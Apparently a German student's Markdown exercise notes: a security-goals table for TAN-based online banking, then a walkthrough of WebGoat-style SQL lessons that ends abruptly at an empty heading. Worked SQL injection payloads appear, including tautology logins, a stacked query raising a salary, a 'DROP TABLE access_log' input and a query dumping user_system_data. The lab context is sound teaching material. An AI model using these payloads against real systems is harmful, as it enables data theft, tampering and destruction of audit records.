111 lines
3.7 KiB
Markdown
111 lines
3.7 KiB
Markdown
- [[#Intro|Intro]]
|
|
- [[#Intro#1|1]]
|
|
- [[#Intro#2|2]]
|
|
- [[#Intro#3|3]]
|
|
- [[#Intro#4|4]]
|
|
- [[#Intro#5|5]]
|
|
- [[#Intro#6|6]]
|
|
- [[#Intro#7|7]]
|
|
- [[#Intro#8|8]]
|
|
- [[#Intro#9|9]]
|
|
- [[#Advanced|Advanced]]
|
|
- [[#Advanced#1|1]]
|
|
- [[#Advanced#2|2]]
|
|
|
|
|
|
# 2.1
|
|
| Schritt | Sicheheitsziele | Assets | Parteien |
|
|
| ------------------------------- | --------------------------------------------- | ----------------------------------------------------------------- | ------------------------- |
|
|
| Formular-basierte Webseite | Verfügbarkeit | Webseite und Webserver | Bank und Kunde |
|
|
| Eingabe der Überweisungsdetails | Vertraulichkeit und Integrität | Überweisungsinformationen (Empfänger, IBAN, Betrag) | Kunde, Bank und Empfänger |
|
|
| Anforderung einer TAN | Vertraulichkeit und Integrität | TAN-Liste, Index und TAN-Verfahren | Kunde und Bank |
|
|
| Eingabe und Bestätigung der TAN | Vertraulichkeit, Integrität und Authentizität | Eingegebene TAN und Überweisungsdetails | Kunde, Bank und Empfänger |
|
|
| Anzeige der Quittung | Vertraulichkeit und Integrität | Quittungsinformationen (z.B. Überweisungsdetails, Datum, Uhrzeit) | Kunde, Bank und Empfänger |
|
|
|
|
# 2.2
|
|
|
|
## Intro
|
|
|
|
### 1
|
|
SELECT department FROM employees WHERE first_name='Bob'
|
|
|
|
- SELECT: Wählt Spalte aus
|
|
- FROM: Wählt Tabelle aus
|
|
- WHERE: Anweisung zum suchen
|
|
|
|
### 2
|
|
UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'
|
|
|
|
- UPDATE: Updated exestierende Daten
|
|
- SET: Wählt Spalte aus
|
|
- WHERE: Anweisung zum suchen
|
|
- AND: Und für die Abfragen der WHERE Anweisung
|
|
|
|
### 3
|
|
ALTER TABLE employees ADD phone varchar(20);
|
|
|
|
- ALTER: Verändert die Struktur einer Datenbank
|
|
- TABLE: Wählt Tabelle aus, die verändert werden soll
|
|
- ADD: Fügt eine Spalte hinzu
|
|
|
|
### 4
|
|
GRANT SELECT ON grant_rights TO unauthorized_user;
|
|
|
|
- GRANT: Gibt einem Benutzer Rechte
|
|
- SELECT: Wählt Spalte aus
|
|
- ON: Wählt Rechte aus
|
|
- TO: Wählt Benutzer aus
|
|
|
|
### 5
|
|
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1' = '1
|
|
|
|
- Wird zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
|
|
- '1' = '1' ist immer wahr
|
|
- '1 wird durch die query geschlossen
|
|
- Wird praktisch zu: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE
|
|
- Ist immer wahr
|
|
|
|
### 6
|
|
- Login_Count: 1
|
|
- User_Id: 1 OR 1=1
|
|
|
|
- Wird zu: SELECT * From user_data WHERE Login_Count = 1 and userid= 1 OR 1=1
|
|
- das OR true sorgt dafür, dass es true ist
|
|
|
|
### 7
|
|
- Employee Name: Smith' OR 1=1 --
|
|
- Authentication TAN: (egal)
|
|
|
|
- Smith' beendet ' '
|
|
- OR 1=1 ist true
|
|
- "--" ignoriert den rest der Zeile (Kommentar)
|
|
|
|
### 8
|
|
- Employee Name: Smith'; UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'--
|
|
- Authentication TAN: (egal)
|
|
|
|
- Smith' beendet ' '
|
|
- ; beendet aktuelle query
|
|
- 'UPDATE employees SET salary = 1000000 WHERE last_name = 'Smith'' verändert salary
|
|
- "--" ignoriert den Rest
|
|
|
|
### 9
|
|
Smith'; DROP TABLE access_log; --
|
|
|
|
- Smith' beendet ' '
|
|
- ; beendet aktuelle query
|
|
- DROP TABLE access_log; löscht die access_log tabelle
|
|
- "--" ignoriert den Rest
|
|
|
|
## Advanced
|
|
|
|
### 1
|
|
'; SELECT * FROM user_system_data;--
|
|
|
|
- wird zu SELECT * FROM user_data WHERE last_name = ''; SELECT * FROM user_system_data;--'
|
|
- '; beendet aktuelle query
|
|
- SELECT * FROM user_system_data; nimmt alles aus user_system_data;
|
|
- "--" ignoriert den Rest
|
|
|
|
### 2
|